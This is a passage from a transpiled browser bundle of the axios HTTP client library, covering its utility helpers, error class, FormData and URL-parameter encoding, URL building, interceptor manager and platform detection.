   * @returns {boolean} True if value is a String, otherwise false
   */
  var isString = typeOfTest('string');

  /**
   * Determine if a value is a Function
   *
   * @param {*} val The value to test
   * @returns {boolean} True if value is a Function, otherwise false
   */
  var isFunction = typeOfTest('function');

  /**
   * Determine if a value is a Number
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a Number, otherwise false
   */
  var isNumber = typeOfTest('number');

  /**
   * Determine if a value is an Object
   *
   * @param {*} thing The value to test
   *
   * @returns {boolean} True if value is an Object, otherwise false
   */
  var isObject = function isObject(thing) {
    return thing !== null && _typeof(thing) === 'object';
  };

  /**
   * Determine if a value is a Boolean
   *
   * @param {*} thing The value to test
   * @returns {boolean} True if value is a Boolean, otherwise false
   */
  var isBoolean = function isBoolean(thing) {
    return thing === true || thing === false;
  };

  /**
   * Determine if a value is a plain Object
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a plain Object, otherwise false
   */
  var isPlainObject = function isPlainObject(val) {
    if (kindOf(val) !== 'object') {
      return false;
    }
    var prototype = getPrototypeOf(val);
    return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);
  };

  /**
   * Determine if a value is a Date
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a Date, otherwise false
   */
  var isDate = kindOfTest('Date');

  /**
   * Determine if a value is a File
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a File, otherwise false
   */
  var isFile = kindOfTest('File');

  /**
   * Determine if a value is a Blob
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a Blob, otherwise false
   */
  var isBlob = kindOfTest('Blob');

  /**
   * Determine if a value is a FileList
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a File, otherwise false
   */
  var isFileList = kindOfTest('FileList');

  /**
   * Determine if a value is a Stream
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a Stream, otherwise false
   */
  var isStream = function isStream(val) {
    return isObject(val) && isFunction(val.pipe);
  };

  /**
   * Determine if a value is a FormData
   *
   * @param {*} thing The value to test
   *
   * @returns {boolean} True if value is an FormData, otherwise false
   */
  var isFormData = function isFormData(thing) {
    var kind;
    return thing && (typeof FormData === 'function' && thing instanceof FormData || isFunction(thing.append) && ((kind = kindOf(thing)) === 'formdata' ||
    // detect form-data instance
    kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]'));
  };

  /**
   * Determine if a value is a URLSearchParams object
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a URLSearchParams object, otherwise false
   */
  var isURLSearchParams = kindOfTest('URLSearchParams');
  var _map = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest),
    _map2 = _slicedToArray(_map, 4),
    isReadableStream = _map2[0],
    isRequest = _map2[1],
    isResponse = _map2[2],
    isHeaders = _map2[3];

  /**
   * Trim excess whitespace off the beginning and end of a string
   *
   * @param {String} str The String to trim
   *
   * @returns {String} The String freed of excess whitespace
   */
  var trim = function trim(str) {
    return str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
  };

  /**
   * Iterate over an Array or an Object invoking a function for each item.
   *
   * If `obj` is an Array callback will be called passing
   * the value, index, and complete array for each item.
   *
   * If 'obj' is an Object callback will be called passing
   * the value, key, and complete object for each property.
   *
   * @param {Object|Array} obj The object to iterate
   * @param {Function} fn The callback to invoke for each item
   *
   * @param {Boolean} [allOwnKeys = false]
   * @returns {any}
   */
  function forEach(obj, fn) {
    var _ref = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {},
      _ref$allOwnKeys = _ref.allOwnKeys,
      allOwnKeys = _ref$allOwnKeys === void 0 ? false : _ref$allOwnKeys;
    // Don't bother if no value provided
    if (obj === null || typeof obj === 'undefined') {
      return;
    }
    var i;
    var l;

    // Force an array if not already something iterable
    if (_typeof(obj) !== 'object') {
      /*eslint no-param-reassign:0*/
      obj = [obj];
    }
    if (isArray(obj)) {
      // Iterate over array values
      for (i = 0, l = obj.length; i < l; i++) {
        fn.call(null, obj[i], i, obj);
      }
    } else {
      // Iterate over object keys
      var keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);
      var len = keys.length;
      var key;
      for (i = 0; i < len; i++) {
        key = keys[i];
        fn.call(null, obj[key], key, obj);
      }
    }
  }
  function findKey(obj, key) {
    key = key.toLowerCase();
    var keys = Object.keys(obj);
    var i = keys.length;
    var _key;
    while (i-- > 0) {
      _key = keys[i];
      if (key === _key.toLowerCase()) {
        return _key;
      }
    }
    return null;
  }
  var _global = function () {
    /*eslint no-undef:0*/
    if (typeof globalThis !== "undefined") return globalThis;
    return typeof self !== "undefined" ? self : typeof window !== 'undefined' ? window : global;
  }();
  var isContextDefined = function isContextDefined(context) {
    return !isUndefined(context) && context !== _global;
  };

  /**
   * Accepts varargs expecting each argument to be an object, then
   * immutably merges the properties of each object and returns result.
   *
   * When multiple objects contain the same key the later object in
   * the arguments list will take precedence.
   *
   * Example:
   *
   * ```js
   * var result = merge({foo: 123}, {foo: 456});
   * console.log(result.foo); // outputs 456
   * ```
   *
   * @param {Object} obj1 Object to merge
   *
   * @returns {Object} Result of all merge properties
   */
  function merge( /* obj1, obj2, obj3, ... */
  ) {
    var _ref2 = isContextDefined(this) && this || {},
      caseless = _ref2.caseless;
    var result = {};
    var assignValue = function assignValue(val, key) {
      var targetKey = caseless && findKey(result, key) || key;
      if (isPlainObject(result[targetKey]) && isPlainObject(val)) {
        result[targetKey] = merge(result[targetKey], val);
      } else if (isPlainObject(val)) {
        result[targetKey] = merge({}, val);
      } else if (isArray(val)) {
        result[targetKey] = val.slice();
      } else {
        result[targetKey] = val;
      }
    };
    for (var i = 0, l = arguments.length; i < l; i++) {
      arguments[i] && forEach(arguments[i], assignValue);
    }
    return result;
  }

  /**
   * Extends object a by mutably adding to it the properties of object b.
   *
   * @param {Object} a The object to be extended
   * @param {Object} b The object to copy properties from
   * @param {Object} thisArg The object to bind function to
   *
   * @param {Boolean} [allOwnKeys]
   * @returns {Object} The resulting value of object a
   */
  var extend = function extend(a, b, thisArg) {
    var _ref3 = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {},
      allOwnKeys = _ref3.allOwnKeys;
    forEach(b, function (val, key) {
      if (thisArg && isFunction(val)) {
        a[key] = bind(val, thisArg);
      } else {
        a[key] = val;
      }
    }, {
      allOwnKeys: allOwnKeys
    });
    return a;
  };

  /**
   * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)
   *
   * @param {string} content with BOM
   *
   * @returns {string} content value without BOM
   */
  var stripBOM = function stripBOM(content) {
    if (content.charCodeAt(0) === 0xFEFF) {
      content = content.slice(1);
    }
    return content;
  };

  /**
   * Inherit the prototype methods from one constructor into another
   * @param {function} constructor
   * @param {function} superConstructor
   * @param {object} [props]
   * @param {object} [descriptors]
   *
   * @returns {void}
   */
  var inherits = function inherits(constructor, superConstructor, props, descriptors) {
    constructor.prototype = Object.create(superConstructor.prototype, descriptors);
    constructor.prototype.constructor = constructor;
    Object.defineProperty(constructor, 'super', {
      value: superConstructor.prototype
    });
    props && Object.assign(constructor.prototype, props);
  };

  /**
   * Resolve object with deep prototype chain to a flat object
   * @param {Object} sourceObj source object
   * @param {Object} [destObj]
   * @param {Function|Boolean} [filter]
   * @param {Function} [propFilter]
   *
   * @returns {Object}
   */
  var toFlatObject = function toFlatObject(sourceObj, destObj, filter, propFilter) {
    var props;
    var i;
    var prop;
    var merged = {};
    destObj = destObj || {};
    // eslint-disable-next-line no-eq-null,eqeqeq
    if (sourceObj == null) return destObj;
    do {
      props = Object.getOwnPropertyNames(sourceObj);
      i = props.length;
      while (i-- > 0) {
        prop = props[i];
        if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {
          destObj[prop] = sourceObj[prop];
          merged[prop] = true;
        }
      }
      sourceObj = filter !== false && getPrototypeOf(sourceObj);
    } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);
    return destObj;
  };

  /**
   * Determines whether a string ends with the characters of a specified string
   *
   * @param {String} str
   * @param {String} searchString
   * @param {Number} [position= 0]
   *
   * @returns {boolean}
   */
  var endsWith = function endsWith(str, searchString, position) {
    str = String(str);
    if (position === undefined || position > str.length) {
      position = str.length;
    }
    position -= searchString.length;
    var lastIndex = str.indexOf(searchString, position);
    return lastIndex !== -1 && lastIndex === position;
  };

  /**
   * Returns new array from array like object or null if failed
   *
   * @param {*} [thing]
   *
   * @returns {?Array}
   */
  var toArray = function toArray(thing) {
    if (!thing) return null;
    if (isArray(thing)) return thing;
    var i = thing.length;
    if (!isNumber(i)) return null;
    var arr = new Array(i);
    while (i-- > 0) {
      arr[i] = thing[i];
    }
    return arr;
  };

  /**
   * Checking if the Uint8Array exists and if it does, it returns a function that checks if the
   * thing passed in is an instance of Uint8Array
   *
   * @param {TypedArray}
   *
   * @returns {Array}
   */
  // eslint-disable-next-line func-names
  var isTypedArray = function (TypedArray) {
    // eslint-disable-next-line func-names
    return function (thing) {
      return TypedArray && thing instanceof TypedArray;
    };
  }(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));

  /**
   * For each entry in the object, call the function with the key and value.
   *
   * @param {Object<any, any>} obj - The object to iterate over.
   * @param {Function} fn - The function to call for each entry.
   *
   * @returns {void}
   */
  var forEachEntry = function forEachEntry(obj, fn) {
    var generator = obj && obj[Symbol.iterator];
    var iterator = generator.call(obj);
    var result;
    while ((result = iterator.next()) && !result.done) {
      var pair = result.value;
      fn.call(obj, pair[0], pair[1]);
    }
  };

  /**
   * It takes a regular expression and a string, and returns an array of all the matches
   *
   * @param {string} regExp - The regular expression to match against.
   * @param {string} str - The string to search.
   *
   * @returns {Array<boolean>}
   */
  var matchAll = function matchAll(regExp, str) {
    var matches;
    var arr = [];
    while ((matches = regExp.exec(str)) !== null) {
      arr.push(matches);
    }
    return arr;
  };

  /* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */
  var isHTMLForm = kindOfTest('HTMLFormElement');
  var toCamelCase = function toCamelCase(str) {
    return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function replacer(m, p1, p2) {
      return p1.toUpperCase() + p2;
    });
  };

  /* Creating a function that will check if an object has a property. */
  var hasOwnProperty = function (_ref4) {
    var hasOwnProperty = _ref4.hasOwnProperty;
    return function (obj, prop) {
      return hasOwnProperty.call(obj, prop);
    };
  }(Object.prototype);

  /**
   * Determine if a value is a RegExp object
   *
   * @param {*} val The value to test
   *
   * @returns {boolean} True if value is a RegExp object, otherwise false
   */
  var isRegExp = kindOfTest('RegExp');
  var reduceDescriptors = function reduceDescriptors(obj, reducer) {
    var descriptors = Object.getOwnPropertyDescriptors(obj);
    var reducedDescriptors = {};
    forEach(descriptors, function (descriptor, name) {
      var ret;
      if ((ret = reducer(descriptor, name, obj)) !== false) {
        reducedDescriptors[name] = ret || descriptor;
      }
    });
    Object.defineProperties(obj, reducedDescriptors);
  };

  /**
   * Makes all methods read-only
   * @param {Object} obj
   */

  var freezeMethods = function freezeMethods(obj) {
    reduceDescriptors(obj, function (descriptor, name) {
      // skip restricted props in strict mode
      if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {
        return false;
      }
      var value = obj[name];
      if (!isFunction(value)) return;
      descriptor.enumerable = false;
      if ('writable' in descriptor) {
        descriptor.writable = false;
        return;
      }
      if (!descriptor.set) {
        descriptor.set = function () {
          throw Error('Can not rewrite read-only method \'' + name + '\'');
        };
      }
    });
  };
  var toObjectSet = function toObjectSet(arrayOrString, delimiter) {
    var obj = {};
    var define = function define(arr) {
      arr.forEach(function (value) {
        obj[value] = true;
      });
    };
    isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));
    return obj;
  };
  var noop = function noop() {};
  var toFiniteNumber = function toFiniteNumber(value, defaultValue) {
    return value != null && Number.isFinite(value = +value) ? value : defaultValue;
  };
  var ALPHA = 'abcdefghijklmnopqrstuvwxyz';
  var DIGIT = '0123456789';
  var ALPHABET = {
    DIGIT: DIGIT,
    ALPHA: ALPHA,
    ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT
  };
  var generateString = function generateString() {
    var size = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 16;
    var alphabet = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ALPHABET.ALPHA_DIGIT;
    var str = '';
    var length = alphabet.length;
    while (size--) {
      str += alphabet[Math.random() * length | 0];
    }
    return str;
  };

  /**
   * If the thing is a FormData object, return true, otherwise return false.
   *
   * @param {unknown} thing - The thing to check.
   *
   * @returns {boolean}
   */
  function isSpecCompliantForm(thing) {
    return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);
  }
  var toJSONObject = function toJSONObject(obj) {
    var stack = new Array(10);
    var visit = function visit(source, i) {
      if (isObject(source)) {
        if (stack.indexOf(source) >= 0) {
          return;
        }
        if (!('toJSON' in source)) {
          stack[i] = source;
          var target = isArray(source) ? [] : {};
          forEach(source, function (value, key) {
            var reducedValue = visit(value, i + 1);
            !isUndefined(reducedValue) && (target[key] = reducedValue);
          });
          stack[i] = undefined;
          return target;
        }
      }
      return source;
    };
    return visit(obj, 0);
  };
  var isAsyncFn = kindOfTest('AsyncFunction');
  var isThenable = function isThenable(thing) {
    return thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing["catch"]);
  };
  var utils$1 = {
    isArray: isArray,
    isArrayBuffer: isArrayBuffer,
    isBuffer: isBuffer,
    isFormData: isFormData,
    isArrayBufferView: isArrayBufferView,
    isString: isString,
    isNumber: isNumber,
    isBoolean: isBoolean,
    isObject: isObject,
    isPlainObject: isPlainObject,
    isReadableStream: isReadableStream,
    isRequest: isRequest,
    isResponse: isResponse,
    isHeaders: isHeaders,
    isUndefined: isUndefined,
    isDate: isDate,
    isFile: isFile,
    isBlob: isBlob,
    isRegExp: isRegExp,
    isFunction: isFunction,
    isStream: isStream,
    isURLSearchParams: isURLSearchParams,
    isTypedArray: isTypedArray,
    isFileList: isFileList,
    forEach: forEach,
    merge: merge,
    extend: extend,
    trim: trim,
    stripBOM: stripBOM,
    inherits: inherits,
    toFlatObject: toFlatObject,
    kindOf: kindOf,
    kindOfTest: kindOfTest,
    endsWith: endsWith,
    toArray: toArray,
    forEachEntry: forEachEntry,
    matchAll: matchAll,
    isHTMLForm: isHTMLForm,
    hasOwnProperty: hasOwnProperty,
    hasOwnProp: hasOwnProperty,
    // an alias to avoid ESLint no-prototype-builtins detection
    reduceDescriptors: reduceDescriptors,
    freezeMethods: freezeMethods,
    toObjectSet: toObjectSet,
    toCamelCase: toCamelCase,
    noop: noop,
    toFiniteNumber: toFiniteNumber,
    findKey: findKey,
    global: _global,
    isContextDefined: isContextDefined,
    ALPHABET: ALPHABET,
    generateString: generateString,
    isSpecCompliantForm: isSpecCompliantForm,
    toJSONObject: toJSONObject,
    isAsyncFn: isAsyncFn,
    isThenable: isThenable
  };

  /**
   * Create an Error with the specified message, config, error code, request and response.
   *
   * @param {string} message The error message.
   * @param {string} [code] The error code (for example, 'ECONNABORTED').
   * @param {Object} [config] The config.
   * @param {Object} [request] The request.
   * @param {Object} [response] The response.
   *
   * @returns {Error} The created error.
   */
  function AxiosError(message, code, config, request, response) {
    Error.call(this);
    if (Error.captureStackTrace) {
      Error.captureStackTrace(this, this.constructor);
    } else {
      this.stack = new Error().stack;
    }
    this.message = message;
    this.name = 'AxiosError';
    code && (this.code = code);
    config && (this.config = config);
    request && (this.request = request);
    response && (this.response = response);
  }
  utils$1.inherits(AxiosError, Error, {
    toJSON: function toJSON() {
      return {
        // Standard
        message: this.message,
        name: this.name,
        // Microsoft
        description: this.description,
        number: this.number,
        // Mozilla
        fileName: this.fileName,
        lineNumber: this.lineNumber,
        columnNumber: this.columnNumber,
        stack: this.stack,
        // Axios
        config: utils$1.toJSONObject(this.config),
        code: this.code,
        status: this.response && this.response.status ? this.response.status : null
      };
    }
  });
  var prototype$1 = AxiosError.prototype;
  var descriptors = {};
  ['ERR_BAD_OPTION_VALUE', 'ERR_BAD_OPTION', 'ECONNABORTED', 'ETIMEDOUT', 'ERR_NETWORK', 'ERR_FR_TOO_MANY_REDIRECTS', 'ERR_DEPRECATED', 'ERR_BAD_RESPONSE', 'ERR_BAD_REQUEST', 'ERR_CANCELED', 'ERR_NOT_SUPPORT', 'ERR_INVALID_URL'
  // eslint-disable-next-line func-names
  ].forEach(function (code) {
    descriptors[code] = {
      value: code
    };
  });
  Object.defineProperties(AxiosError, descriptors);
  Object.defineProperty(prototype$1, 'isAxiosError', {
    value: true
  });

  // eslint-disable-next-line func-names
  AxiosError.from = function (error, code, config, request, response, customProps) {
    var axiosError = Object.create(prototype$1);
    utils$1.toFlatObject(error, axiosError, function filter(obj) {
      return obj !== Error.prototype;
    }, function (prop) {
      return prop !== 'isAxiosError';
    });
    AxiosError.call(axiosError, error.message, code, config, request, response);
    axiosError.cause = error;
    axiosError.name = error.name;
    customProps && Object.assign(axiosError, customProps);
    return axiosError;
  };

  // eslint-disable-next-line strict
  var httpAdapter = null;

  /**
   * Determines if the given thing is a array or js object.
   *
   * @param {string} thing - The object or array to be visited.
   *
   * @returns {boolean}
   */
  function isVisitable(thing) {
    return utils$1.isPlainObject(thing) || utils$1.isArray(thing);
  }

  /**
   * It removes the brackets from the end of a string
   *
   * @param {string} key - The key of the parameter.
   *
   * @returns {string} the key without the brackets.
   */
  function removeBrackets(key) {
    return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key;
  }

  /**
   * It takes a path, a key, and a boolean, and returns a string
   *
   * @param {string} path - The path to the current key.
   * @param {string} key - The key of the current object being iterated over.
   * @param {string} dots - If true, the key will be rendered with dots instead of brackets.
   *
   * @returns {string} The path to the current key.
   */
  function renderKey(path, key, dots) {
    if (!path) return key;
    return path.concat(key).map(function each(token, i) {
      // eslint-disable-next-line no-param-reassign
      token = removeBrackets(token);
      return !dots && i ? '[' + token + ']' : token;
    }).join(dots ? '.' : '');
  }

  /**
   * If the array is an array and none of its elements are visitable, then it's a flat array.
   *
   * @param {Array<any>} arr - The array to check
   *
   * @returns {boolean}
   */
  function isFlatArray(arr) {
    return utils$1.isArray(arr) && !arr.some(isVisitable);
  }
  var predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) {
    return /^is[A-Z]/.test(prop);
  });

  /**
   * Convert a data object to FormData
   *
   * @param {Object} obj
   * @param {?Object} [formData]
   * @param {?Object} [options]
   * @param {Function} [options.visitor]
   * @param {Boolean} [options.metaTokens = true]
   * @param {Boolean} [options.dots = false]
   * @param {?Boolean} [options.indexes = false]
   *
   * @returns {Object}
   **/

  /**
   * It converts an object into a FormData object
   *
   * @param {Object<any, any>} obj - The object to convert to form data.
   * @param {string} formData - The FormData object to append to.
   * @param {Object<string, any>} options
   *
   * @returns
   */
  function toFormData(obj, formData, options) {
    if (!utils$1.isObject(obj)) {
      throw new TypeError('target must be an object');
    }

    // eslint-disable-next-line no-param-reassign
    formData = formData || new (FormData)();

    // eslint-disable-next-line no-param-reassign
    options = utils$1.toFlatObject(options, {
      metaTokens: true,
      dots: false,
      indexes: false
    }, false, function defined(option, source) {
      // eslint-disable-next-line no-eq-null,eqeqeq
      return !utils$1.isUndefined(source[option]);
    });
    var metaTokens = options.metaTokens;
    // eslint-disable-next-line no-use-before-define
    var visitor = options.visitor || defaultVisitor;
    var dots = options.dots;
    var indexes = options.indexes;
    var _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;
    var useBlob = _Blob && utils$1.isSpecCompliantForm(formData);
    if (!utils$1.isFunction(visitor)) {
      throw new TypeError('visitor must be a function');
    }
    function convertValue(value) {
      if (value === null) return '';
      if (utils$1.isDate(value)) {
        return value.toISOString();
      }
      if (!useBlob && utils$1.isBlob(value)) {
        throw new AxiosError('Blob is not supported. Use a Buffer instead.');
      }
      if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) {
        return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);
      }
      return value;
    }

    /**
     * Default visitor.
     *
     * @param {*} value
     * @param {String|Number} key
     * @param {Array<String|Number>} path
     * @this {FormData}
     *
     * @returns {boolean} return true to visit the each prop of the value recursively
     */
    function defaultVisitor(value, key, path) {
      var arr = value;
      if (value && !path && _typeof(value) === 'object') {
        if (utils$1.endsWith(key, '{}')) {
          // eslint-disable-next-line no-param-reassign
          key = metaTokens ? key : key.slice(0, -2);
          // eslint-disable-next-line no-param-reassign
          value = JSON.stringify(value);
        } else if (utils$1.isArray(value) && isFlatArray(value) || (utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value))) {
          // eslint-disable-next-line no-param-reassign
          key = removeBrackets(key);
          arr.forEach(function each(el, index) {
            !(utils$1.isUndefined(el) || el === null) && formData.append(
            // eslint-disable-next-line no-nested-ternary
            indexes === true ? renderKey([key], index, dots) : indexes === null ? key : key + '[]', convertValue(el));
          });
          return false;
        }
      }
      if (isVisitable(value)) {
        return true;
      }
      formData.append(renderKey(path, key, dots), convertValue(value));
      return false;
    }
    var stack = [];
    var exposedHelpers = Object.assign(predicates, {
      defaultVisitor: defaultVisitor,
      convertValue: convertValue,
      isVisitable: isVisitable
    });
    function build(value, path) {
      if (utils$1.isUndefined(value)) return;
      if (stack.indexOf(value) !== -1) {
        throw Error('Circular reference detected in ' + path.join('.'));
      }
      stack.push(value);
      utils$1.forEach(value, function each(el, key) {
        var result = !(utils$1.isUndefined(el) || el === null) && visitor.call(formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers);
        if (result === true) {
          build(el, path ? path.concat(key) : [key]);
        }
      });
      stack.pop();
    }
    if (!utils$1.isObject(obj)) {
      throw new TypeError('data must be an object');
    }
    build(obj);
    return formData;
  }

  /**
   * It encodes a string by replacing all characters that are not in the unreserved set with
   * their percent-encoded equivalents
   *
   * @param {string} str - The string to encode.
   *
   * @returns {string} The encoded string.
   */
  function encode$1(str) {
    var charMap = {
      '!': '%21',
      "'": '%27',
      '(': '%28',
      ')': '%29',
      '~': '%7E',
      '%20': '+',
      '%00': '\x00'
    };
    return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
      return charMap[match];
    });
  }

  /**
   * It takes a params object and converts it to a FormData object
   *
   * @param {Object<string, any>} params - The parameters to be converted to a FormData object.
   * @param {Object<string, any>} options - The options object passed to the Axios constructor.
   *
   * @returns {void}
   */
  function AxiosURLSearchParams(params, options) {
    this._pairs = [];
    params && toFormData(params, this, options);
  }
  var prototype = AxiosURLSearchParams.prototype;
  prototype.append = function append(name, value) {
    this._pairs.push([name, value]);
  };
  prototype.toString = function toString(encoder) {
    var _encode = encoder ? function (value) {
      return encoder.call(this, value, encode$1);
    } : encode$1;
    return this._pairs.map(function each(pair) {
      return _encode(pair[0]) + '=' + _encode(pair[1]);
    }, '').join('&');
  };

  /**
   * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their
   * URI encoded counterparts
   *
   * @param {string} val The value to be encoded.
   *
   * @returns {string} The encoded value.
   */
  function encode(val) {
    return encodeURIComponent(val).replace(/%3A/gi, ':').replace(/%24/g, '$').replace(/%2C/gi, ',').replace(/%20/g, '+').replace(/%5B/gi, '[').replace(/%5D/gi, ']');
  }

  /**
   * Build a URL by appending params to the end
   *
   * @param {string} url The base of the url (e.g., http://www.google.com)
   * @param {object} [params] The params to be appended
   * @param {?object} options
   *
   * @returns {string} The formatted url
   */
  function buildURL(url, params, options) {
    /*eslint no-param-reassign:0*/
    if (!params) {
      return url;
    }
    var _encode = options && options.encode || encode;
    var serializeFn = options && options.serialize;
    var serializedParams;
    if (serializeFn) {
      serializedParams = serializeFn(params, options);
    } else {
      serializedParams = utils$1.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, options).toString(_encode);
    }
    if (serializedParams) {
      var hashmarkIndex = url.indexOf("#");
      if (hashmarkIndex !== -1) {
        url = url.slice(0, hashmarkIndex);
      }
      url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
    }
    return url;
  }

  var InterceptorManager = /*#__PURE__*/function () {
    function InterceptorManager() {
      _classCallCheck(this, InterceptorManager);
      this.handlers = [];
    }

    /**
     * Add a new interceptor to the stack
     *
     * @param {Function} fulfilled The function to handle `then` for a `Promise`
     * @param {Function} rejected The function to handle `reject` for a `Promise`
     *
     * @return {Number} An ID used to remove interceptor later
     */
    _createClass(InterceptorManager, [{
      key: "use",
      value: function use(fulfilled, rejected, options) {
        this.handlers.push({
          fulfilled: fulfilled,
          rejected: rejected,
          synchronous: options ? options.synchronous : false,
          runWhen: options ? options.runWhen : null
        });
        return this.handlers.length - 1;
      }

      /**
       * Remove an interceptor from the stack
       *
       * @param {Number} id The ID that was returned by `use`
       *
       * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise
       */
    }, {
      key: "eject",
      value: function eject(id) {
        if (this.handlers[id]) {
          this.handlers[id] = null;
        }
      }

      /**
       * Clear all interceptors from the stack
       *
       * @returns {void}
       */
    }, {
      key: "clear",
      value: function clear() {
        if (this.handlers) {
          this.handlers = [];
        }
      }

      /**
       * Iterate over all the registered interceptors
       *
       * This method is particularly useful for skipping over any
       * interceptors that may have become `null` calling `eject`.
       *
       * @param {Function} fn The function to call for each interceptor
       *
       * @returns {void}
       */
    }, {
      key: "forEach",
      value: function forEach(fn) {
        utils$1.forEach(this.handlers, function forEachHandler(h) {
          if (h !== null) {
            fn(h);
          }
        });
      }
    }]);
    return InterceptorManager;
  }();
  var InterceptorManager$1 = InterceptorManager;

  var transitionalDefaults = {
    silentJSONParsing: true,
    forcedJSONParsing: true,
    clarifyTimeoutError: false
  };

  var URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;

  var FormData$1 = typeof FormData !== 'undefined' ? FormData : null;

  var Blob$1 = typeof Blob !== 'undefined' ? Blob : null;

  var platform$1 = {
    isBrowser: true,
    classes: {
      URLSearchParams: URLSearchParams$1,
      FormData: FormData$1,
      Blob: Blob$1
    },
    protocols: ['http', 'https', 'file', 'blob', 'url', 'data']
  };

  var hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';

  /**
   * Determine if we're running in a standard browser environment
   *
   * This allows axios to run in a web worker, and react-native.
   * Both environments support XMLHttpRequest, but not fully standard globals.
   *
   * web workers:
   *  typeof window -> undefined
   *  typeof document -> undefined
   *
   * react-native:
   *  navigator.product -> 'ReactNative'
   * nativescript
   *  navigator.product -> 'NativeScript' or 'NS'
   *
   * @returns {boolean}
   */
  var hasStandardBrowserEnv = function (product) {
    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0;
  }(typeof navigator !== 'undefined' && navigator.product);

  /**
   * Determine if we're running in a standard browser webWorker environment
   *
   * Although the `isStandardBrowserEnv` method indicates that
   * `allows axios to run in a web worker`, the WebWorker will still be
   * filtered out due to its judgment standard
   * `typeof window !== 'undefined' && typeof document !== 'undefined'`.
   * This leads to a problem when axios post `FormData` in webWorker
   */
  var hasStandardBrowserWebWorkerEnv = function () {
    return typeof WorkerGlobalScope !== 'undefined' &&
    // eslint-disable-next-line no-undef
    self instanceof WorkerGlobalScope && typeof self.importScripts === 'function';
  }();
  var origin = hasBrowserEnv && window.location.href || 'http://localhost';

  var utils = /*#__PURE__*/Object.freeze({
    __proto__: null,
    hasBrowserEnv: hasBrowserEnv,
    hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv,
    hasStandardBrowserEnv: hasStandardBrowserEnv,
    origin: origin
  });

  var platform = _objectSpread2(_objectSpread2({}, utils), platform$1);

  function toURLEncodedForm(data, options) {
    return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({
      visitor: function visitor(value, key, path, helpers) {
        if (platform.isNode && utils$1.isBuffer(value)) {
          this.append(key, value.toString('base64'));
          return false;
        }
        return helpers.defaultVisitor.apply(this, arguments);
      }
    }, options));
  }

  /**
   * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']
   *
   * @param {string} name - The name of the property to get.
   *
   * @returns An array of strings.
   */
  function parsePropPath(name) {
    // foo[x][y][z]
    // foo.x.y.z
    // foo-x-y-z
    // foo x y z
    return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(function (match) {
      return match[0] === '[]' ? '' : match[1] || match[0];
    });
  }

  /**
   * Convert an array to an object.
   *
   * @param {Array<any>} arr - The array to convert to an object.
   *
   * @returns An object with the same keys and values as the array.
   */
  function arrayToObject(arr) {
    var obj = {};
    var keys = Object.keys(arr);
    var i;
    var len = keys.length;
    var key;
    for (i = 0; i < len; i++) {
      key = keys[i];
      obj[key] = arr[key];
    }
    return obj;
  }

  /**
   * It takes a FormData object and returns a JavaScript object
   *
   * @param {string} formData The FormData object to convert to JSON.
   *
   * @returns {Object<string, any> | null} The converted object.
   */
  function formDataToJSON(formData) {
    function buildPath(path, value, target, index) {
      var name = path[index++];
      if (name === '__proto__') return true;
      var isNumericKey = Number.isFinite(+name);
      var isLast = index >= path.length;
      name = !name && utils$1.isArray(target) ? target.length : name;
      if (isLast) {
        if (utils$1.hasOwnProp(target, name)) {
          target[name] = [target[name], value];
        } else {
          target[name] = value;
        }
        return !isNumericKey;
      }
      if (!target[name] || !utils$1.isObject(target[name])) {
        target[name] = [];
      }
      var result = buildPath(path, value, target[name], index);
      if (result && utils$1.isArray(target[name])) {
        target[name] = arrayToObject(target[name]);
      }
      return !isNumericKey;
    }
